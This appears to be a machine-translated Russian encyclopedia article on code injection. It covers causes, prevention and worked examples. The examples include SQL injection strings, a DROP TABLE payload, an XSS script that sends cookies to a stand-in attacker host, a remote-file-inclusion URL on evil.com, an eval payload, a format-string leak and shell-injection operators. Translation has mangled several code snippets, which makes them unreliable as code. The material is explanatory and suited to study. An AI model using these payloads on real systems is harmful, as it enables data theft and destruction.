Внедрение кода - это использование компьютерной ошибки , вызванной обработкой недопустимых данных. Внедрение используется злоумышленником для введения (или «внедрения») кода в уязвимую компьютерную программу и изменения хода выполнения . Результат успешной инъекции кода может быть катастрофическим, например, из-за того, что компьютерные вирусы или компьютерные черви могут распространяться.
Уязвимости внедрения кода возникают, когда приложение отправляет интерпретатору ненадежные данные . Недостатки внедрения чаще всего обнаруживаются в SQL , LDAP , XPath , NoSQL- запросах, командах ОС, синтаксических анализаторах XML , заголовках SMTP , аргументах программ и т. Д. Недостатки внедрения легче обнаружить при изучении исходного кода, чем при тестировании. [1] Сканеры и фаззеры могут помочь найти недостатки инъекции. [2]
Внедрение может привести к потере или повреждению данных, отсутствию ответственности или отказу в доступе . Инъекция иногда может привести к полному захвату хозяина.
Некоторые типы внедрения кода являются ошибками в интерпретации, придающими особое значение пользовательскому вводу. Подобные ошибки интерпретации существуют и за пределами мира информатики, например, в комедийной программе « Кто на первом месте?» . В повседневной жизни не удается отличить имена собственные от обычных слов. Точно так же при некоторых типах внедрения кода не удается отличить ввод пользователя от системных команд.
Методы внедрения кода популярны при взломе системы или взломе с целью получения информации, повышения привилегий или несанкционированного доступа к системе. Внедрение кода может использоваться злонамеренно для многих целей, в том числе:
- Произвольное изменение значений в базе данных с помощью SQL-инъекции . Последствия этого могут варьироваться от повреждения веб-сайта до серьезной компрометации конфиденциальных данных.
- Установка вредоносного ПО или выполнение вредоносного кода на сервере путем внедрения кода сценария сервера (например, PHP или ASP ).
- Повышение привилегий до полномочий root путем использования уязвимостей Shell Injection в двоичном файле setuid root в UNIX или в локальной системе путем использования службы в Microsoft Windows .
- Атака на веб-пользователей с помощью внедрения HTML / скриптов ( межсайтовый скриптинг ).
В 2008 г. 5,66% всех уязвимостей, обнаруженных в этом году, были классифицированы как внедрение кода, что является самым высоким показателем за всю историю наблюдений. В 2015 году этот показатель снизился до 0,77%. [3]
Доброкачественное и непреднамеренное использование
Внедрение кода может использоваться с добрыми намерениями; например, изменение или настройка поведения программы или системы посредством внедрения кода может привести к тому, что система будет вести себя определенным образом без какого-либо злонамеренного намерения. [4] [5] Внедрение кода может, например:
- Представьте новый полезный столбец, которого не было в исходном дизайне страницы результатов поиска.
- Предложите новый способ фильтрации, упорядочивания или группировки данных с помощью поля, не отображаемого в функциях по умолчанию в исходном дизайне.
- Что касается таких программ, как Dropbox , добавьте специальные части, которые можно использовать для подключения к онлайн-ресурсам в автономной программе.
- Используйте Linux Dynamic Linker, чтобы определить функцию с тем же именем, что и некоторые функции libc , связать эту функцию как библиотеку и переопределить использование функции libc. [6]
Некоторые пользователи могут ничего не подозревать о внедрении кода, потому что вводимые ими в программу данные не были учтены теми, кто изначально разработал систему. Например:
- То, что пользователь может считать допустимым вводом, может содержать символы-токены или символьные строки , зарезервированные разработчиком, чтобы иметь особое значение (возможно, «&» в «Шеннон и Джейсон» или кавычки, как в «Буб 'Слаггер' МакКракен ").
- Пользователь может отправить искаженный файл в качестве входных данных, которые корректно обрабатываются в одном приложении, но являются токсичными для принимающей системы.
Другим безобидным применением внедрения кода может быть обнаружение самих дефектов внедрения с целью их исправления. Это известно как тест на проникновение по технологии « белая шляпа» .
Предотвращение проблем
Чтобы предотвратить проблемы с внедрением кода, используйте безопасную обработку ввода и вывода, например:
- Использование API, которые при правильном использовании защищены от всех вводимых символов. Параметризованные запросы (также известные как «Скомпилированные запросы», «подготовленные операторы», «связанные переменные») позволяют перемещать пользовательские данные из строки для интерпретации. Кроме того, Criteria API [7] и аналогичные API отошли от концепции командных строк, которые должны быть созданы и интерпретированы.
- Обеспечение разделения языков с помощью системы статических типов . [8]
- Проверка ввода, такая как внесение в белый список только известных хороших значений, может выполняться на стороне клиента, например, с использованием JavaScript, или на стороне сервера, что является более безопасным.
- Кодировка ввода, например, экранирование опасных символов. Например, в PHP используется
htmlspecialchars()
функция для экранирования специальных символов для безопасного вывода текста в HTML иmysqli::real_escape_string()
для изоляции данных, которые будут включены в запрос SQL, для защиты от внедрения SQL. - Кодирование вывода, то есть предотвращение атак HTML Injection (XSS) на посетителей веб-сайта.
HttpOnly
- это флаг для файлов cookie HTTP, который, если он установлен, не позволяет клиентскому сценарию взаимодействовать с файлами cookie, тем самым предотвращая определенные атаки XSS. [9]- Отделение модульной оболочки от ядра
- С помощью SQL Injection можно использовать параметризованные запросы , хранимые процедуры , проверку ввода белого списка и многое другое, чтобы помочь смягчить проблемы с внедрением кода. [10]
Перечисленные выше решения в основном связаны с веб-инъекцией HTML или кода сценария в серверное приложение. Однако при внедрении пользовательского кода на пользовательский компьютер необходимо использовать другие подходы, что приводит к атакам с повышением привилегий. Вот некоторые подходы, которые используются для обнаружения и изолирования инъекций управляемого и неуправляемого кода:
- Проверка хэша образа во время выполнения - захватите хэш части или полного образа исполняемого файла, загруженного в память, и сравните его с сохраненным и ожидаемым хешем.
- Бит NX - все пользовательские данные хранятся в специальных разделах памяти, которые помечены как неисполняемые. Процессор получает информацию о том, что в этой части памяти нет кода, и отказывается выполнять что-либо, находящееся там.
- Канарейки - случайное размещение значений в стеке. Во время выполнения канарейка проверяется при возврате функции. Если канарейка была изменена, программа останавливает выполнение и завершает работу. Это происходит при атаке переполнения стека .
- [В C] Маскирование указателя кода (CPM) - после загрузки (потенциально измененного) указателя кода в регистр примените к указателю битовую маску . Это эффективно ограничивает адреса, на которые может ссылаться указатель. [11]
Примеры
SQL-инъекция
SQL-инъекция использует синтаксис SQL для ввода команд, которые могут читать или изменять базу данных или нарушать смысл исходного запроса.
Например, рассмотрим веб-страницу с двумя полями, позволяющими пользователям вводить имя пользователя и пароль. Код за страницей сгенерирует SQL- запрос для проверки пароля на соответствие списку имен пользователей:
ВЫБЕРИТЕ UserList . Имя пользователя из списка пользователей ГДЕ из списка пользователей . Имя пользователя = «Имя пользователя» И список пользователей . Пароль = 'Пароль'
Если этот запрос возвращает какие-либо строки, доступ предоставляется. Однако, если злоумышленник вводит действительное имя пользователя и вводит действительный код ( password' OR '1'='1
) в поле «Пароль», то результирующий запрос будет выглядеть следующим образом:
ВЫБЕРИТЕ UserList . Имя пользователя из списка пользователей ГДЕ из списка пользователей . Имя пользователя = «Имя пользователя» И список пользователей . Пароль = 'пароль' ИЛИ '1' = '1'
В приведенном выше примере предполагается, что «Пароль» - это пустая строка или какая-то безобидная строка. " '1'='1'
" всегда будет истинным, и будет возвращено много строк, что позволит получить доступ.
Методика может быть усовершенствована, чтобы позволить запускать несколько операторов или даже загружать и запускать внешние программы.
Предположим, что запрос имеет следующий формат:
ВЫБРАТЬ пользователя . ИД пользователя ОТ пользователя ГДЕ Пользователь . UserID = '"+ UserID +"' И Пользователь . Pwd = '"+ Пароль +"'
Если злоумышленник имеет следующие входные данные:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
запрос будет проанализирован следующим образом:
ВЫБРАТЬ пользователя . ИД пользователя ОТ пользователя ГДЕ Пользователь . UserID = '' ; DROP TABLE Пользователь ; - 'И Pwd =' 'ИЛИ "='
В результате таблица User
будет удалена из базы данных. Это происходит потому, что ;
символ обозначает конец одной команды и начало новой. --
означает начало комментария.
Межсайтовый скриптинг
Внедрение кода - это злонамеренная инъекция или введение кода в приложение. На некоторых веб-серверах есть сценарий гостевой книги, который принимает небольшие сообщения от пользователей и обычно принимает такие сообщения, как:
Очень красивый сайт!
Однако злоумышленник может знать об уязвимости внедрения кода в гостевой книге и вводит такое сообщение, как:
Хороший сайт, думаю, возьму. Окно < скрипт > . location = "https: //some_attacker/evilcgi/cookie.cgi? steal =" + escape ( document . cookie ) script >
Если другой пользователь просматривает страницу, внедренный код будет выполнен. Этот код может позволить злоумышленнику выдать себя за другого пользователя. Однако такая же программная ошибка может быть случайно вызвана непритязательным пользователем, что приведет к отображению на веб-сайте плохого HTML-кода.
HTML и внедрение скриптов - популярная тема, обычно называемая « межсайтовым скриптингом » или «XSS». XSS относится к недостатку внедрения, при котором пользовательский ввод в веб-сценарий или что-то в этом роде помещается в выходной HTML-код без проверки на наличие HTML-кода или сценариев.
Многие из этих проблем связаны с ошибочными предположениями о том, какие входные данные возможны, или с влиянием специальных данных. [12]
Уязвимости динамической оценки
Уязвимость внедрения возникает, когда злоумышленник может контролировать всю или часть входной строки, которая передается в вызов функции. [13]eval()
eval()
$ myvar = 'какое-то значение' ; $ x = $ _GET [ 'аргумент' ]; eval ( '$ myvar =' . $ x . ';' );
Аргумент " eval
" будет обработан как PHP , поэтому можно добавлять дополнительные команды. Например, если "arg" установлен в " ", запускается дополнительный код, который выполняет программу на сервере, в данном случае " ".10; system('/bin/echo uh-oh')
/bin/echo
Внедрение объекта
PHP позволяет сериализацию и десериализацию целых объектов . Если в функцию десериализации разрешен ввод без доверия, можно перезаписать существующие классы в программе и выполнить злонамеренные атаки. [14] Подобная атака на Joomla была обнаружена в 2013 году. [15]
Удаленная инъекция файла
Рассмотрим эту программу PHP (которая включает файл, указанный в запросе):
php $ color = 'синий' ; если ( isset ( $ _GET [ 'цвет' ])) $ color = $ _GET [ 'цвет' ]; требуется ( $ color . '.php' );
Пример может быть прочитан как только цветные файлы blue.php
и red.php
может быть загружен, в то время как злоумышленники могут обеспечить COLOR=http://evil.com/exploit
загрузку внешнего файла PHP.
Внедрение спецификатора формата
Ошибки форматной строки чаще всего возникают, когда программист хочет напечатать строку, содержащую данные, введенные пользователем. Программист может ошибочно написать printf(buffer)
вместо printf("%s", buffer)
. Первая версия интерпретируется buffer
как строка формата и анализирует любые инструкции форматирования, которые она может содержать. Вторая версия просто выводит строку на экран, как задумал программист. Рассмотрим следующую короткую программу на C, в которой есть массив символов локальной переменной, password
содержащий пароль; программа запрашивает у пользователя целое число и строку, а затем выводит введенную пользователем строку.
char user_input [ 100 ]; int int_in ; char password [ 10 ] = "Пароль1" ; printf ( "Введите целое число \ n " ); scanf ( "% d" , & int_in ); printf ( "Пожалуйста, введите строку \ n " ); fgets ( user_input , sizeof ( user_input ), stdin ); printf ( user_input ); // Безопасная версия: printf ("% s", user_input); printf ( " \ п " ); возврат 0 ;
Если пользовательский ввод заполнен списком спецификаторов формата, таких как %s%s%s%s%s%s%s%s
, тогда printf()
начнется чтение из стека . В конце концов, один из %s
описателей формата получит доступ к адресу password
, который находится в стеке, и выведет Password1
его на экран.
Инъекция в оболочку
Внедрение оболочки (или внедрение команды [16] ) названо в честь оболочек Unix , но применяется к большинству систем, которые позволяют программному обеспечению программно выполнять командную строку . Вот пример уязвимого tcsh- скрипта:
#! / bin / tcsh # check arg выводит совпадение, если arg равен единице if ( $ 1 == 1 ) echo он совпадает
Если указанное выше хранится в исполняемом файле ./check
, команда оболочки ./check " 1 ) evil"
попытается выполнить внедренную команду оболочки evil
вместо сравнения аргумента с постоянным. Здесь атакованный код - это код, который пытается проверить параметр, тот самый код, который, возможно, пытался проверить параметр для защиты от атаки. [17]
Любая функция, которую можно использовать для составления и выполнения команды оболочки, является потенциальным средством для запуска атаки с использованием инъекции оболочки. Среди них system(), StartProcess()
и System.Diagnostics.Process.Start().
Клиент-серверные системы, такие как взаимодействие веб-браузера с веб-серверами , потенциально уязвимы для внедрения оболочки. Рассмотрим следующую короткую программу PHP, которую можно запустить на веб-сервере для запуска внешней программы, вызываемой funnytext
для замены слова, отправленного пользователем, другим словом.
php passthru ( "/ bin / funnytext" . $ _GET [ 'USER_INPUT' ]);
В passthru
приведенном выше примере составляет команду оболочки, которая затем выполняется веб-сервером. Поскольку часть составляемой команды берется из URL-адреса, предоставленного веб-браузером, это позволяет URL-адресу вводить вредоносные команды оболочки. Можно внедрить код в эту программу несколькими способами, используя синтаксис различных функций оболочки (этот список не является исчерпывающим): [18]
Особенность оболочки | USER_INPUT значение | Результирующая команда оболочки | Объяснение |
---|---|---|---|
Последовательное исполнение | ; malicious_command | /bin/funnytext ; malicious_command | Выполняет funnytext , затем выполняет malicious_command . |
Трубопроводы | | malicious_command | /bin/funnytext | malicious_command | Отправляет выходные данные в funnytext качестве входных данных в malicious_command . |
Подстановка команд | `malicious_command` | /bin/funnytext `malicious_command` | Отправляет вывод в malicious_command качестве аргументов в funnytext . |
Подстановка команд | $(malicious_command) | /bin/funnytext $(malicious_command) | Отправляет вывод в malicious_command качестве аргументов в funnytext . |
И список | && malicious_command | /bin/funnytext && malicious_command | Выполняется, malicious_command еслиf funnytext возвращает статус выхода 0 (успех). |
ИЛИ список | || malicious_command | /bin/funnytext || malicious_command | Выполняется, malicious_command еслиf funnytext возвращает ненулевой статус выхода (ошибка). |
Перенаправление вывода | > ~/.bashrc | /bin/funnytext > ~/.bashrc | Заменяет содержимое .bashrc файла выводом funnytext . |
Перенаправление ввода | < ~/.bashrc | /bin/funnytext < ~/.bashrc | Отправляет содержимое .bashrc файла в качестве входных данных funnytext . |
Некоторые языки предлагают функции для правильного экранирования или заключения в кавычки строк, которые используются для создания команд оболочки:
- PHP:
escapeshellarg()
иescapeshellcmd()
- Python :
shlex.quote()
Тем не менее, это по-прежнему обременяет программистов знать / изучать эти функции и не забывать использовать их каждый раз, когда они используют команды оболочки. В дополнение к использованию этих функций также рекомендуется проверка или дезинфекция пользовательского ввода.
Более безопасная альтернатива - использовать API-интерфейсы, которые выполняют внешние программы напрямую, а не через оболочку, что предотвращает возможность внедрения оболочки. Однако эти API, как правило, не поддерживают различные удобные функции оболочек и / или являются более громоздкими / подробными по сравнению с кратким синтаксисом оболочки.
Смотрите также
- Выполнение произвольного кода
- Переполнение буфера
- Отладка
- Уязвимость включения файлов
- Мобильный код
- Монитор
- Объект SGML
- Shellshock (программная ошибка)
- SQL-инъекция
- Троянский конь (вычисления)
- Просмотр веб-страниц
Рекомендации
- ^ «Топ-10 уязвимостей безопасности веб-приложений» . Penn Computing . Пенсильванский университет. Архивировано из оригинального 24 февраля 2018 года . Проверено 10 декабря 2016 .
- ^ «OWASP Top 10 2013 A1: Недостатки инъекций» . OWASP . Проверено 19 декабря 2013 года .
- ^ «НВД - Статистический поиск» . web.nvd.nist.gov . Проверено 9 декабря +2016 .
- ^ Шринивасан, Рагхунатан. «На пути к более эффективным детекторам вирусов» (PDF) . Государственный университет Аризоны . Архивировано из оригинального (PDF) 29 июля 2010 года . Проверено 18 сентября 2010 года .
Благожелательное использование внедрения кода происходит, когда пользователь изменяет поведение программы в соответствии с системными требованиями.
- ^ Моралес, Хосе Андре; Карталтепе, Эрхан; Сюй, Шухуай; Сандху, Рави (2010). «Обнаружение бот-процессов на основе симптомов». Конспект лекций по информатике . Берлин, Гейдельберг: Springer. CiteSeerX 10.1.1.185.2152 . DOI : 10.1007 / 978-3-642-14706-7_18 . ISBN 978-3-642-14705-0. ISSN 0302-9743 .
- ^ «Уловки с динамическим компоновщиком: использование LD_PRELOAD для обмана, внедрения функций и исследования программ» . Блог Рафала Цесляка . 2 апреля 2013 . Проверено 10 декабря 2016 .
- ^ «Учебное пособие по Java EE 6: Глава 35 Использование API критериев для создания запросов» . Oracle . Проверено 19 декабря 2013 года .
- ^ Moertel, Том (18 октября 2006 г.). «Типовое решение« проблемы строк »: подходящий конец дырам для XSS и SQL-инъекций?» . Блог Тома Мертеля . Проверено 21 октября 2018 года .
- ^ "HttpOnly" . OWASP . 12 ноября 2014 . Проверено 10 декабря 2016 .
- ^ «Памятка по предотвращению внедрения SQL-кода» . OWASP . Проверено 10 декабря 2016 .
- ^ Филиппертс, Питер; и другие. (1 июня 2013 г.). "CPM: указатели маскирования кода для предотвращения атак путем внедрения кода" (PDF) . ACM-транзакции по информационной и системной безопасности . 16 (1): 1-27. DOI : 10.1145 / 2487222.2487223 . ISSN 1094-9224 .
- ^ Надежда, Брайан; Надежда, Пако; Вальтер, Бен (15 мая 2009 г.). Поваренная книга по тестированию веб-безопасности . Севастополь, Калифорния: O'Reilly Media . п. 254 . ISBN 978-0-596-51483-9. OCLC 297573828 .
- ^ Стивен М. Кристи (3 мая 2006 г.). «Уязвимости динамической оценки в приложениях PHP» . Полное раскрытие информации (список рассылки) . Проверено 21 октября 2018 года .
- ^ «Десериализовать предупреждения функции» . PHP.net.
- ^ "Анализ уязвимости Joomla, связанной с внедрением объектов PHP" . Проверено 6 июня 2014 .
- ^ «Внедрение команд» . OWASP.
- ^ Дуглас В. Джонс, CS: 3620 Notes, лекция 4 - сценарии оболочки , весна 2018.
- ^ «Архивная копия» . Архивировано из оригинального 27 февраля 2015 года . Проверено 27 февраля 2015 года .CS1 maint: заархивированная копия как заголовок ( ссылка )
Внешние ссылки
- Статья Роберта Кастера « Три способа внедрить ваш код в другой процесс »
- Статья А. Данекара «Вставьте свой код в переносимый исполняемый файл »
- Статья А. Данехкара « Код инъекции внутри таблицы импорта ».
- Статья Тадеуша Пьетрасека и Криса Вандена Берге « Защита от атак с использованием инъекций с помощью контекстно-зависимой оценки строки (CSSE) ».
- Новостная статья « Flux распространяется все шире » - первый троян, использующий внедрение кода для предотвращения обнаружения с помощью брандмауэра.
- Daily WTF регулярно сообщает о реальных случаях восприимчивости к внедрению кода в программное обеспечение.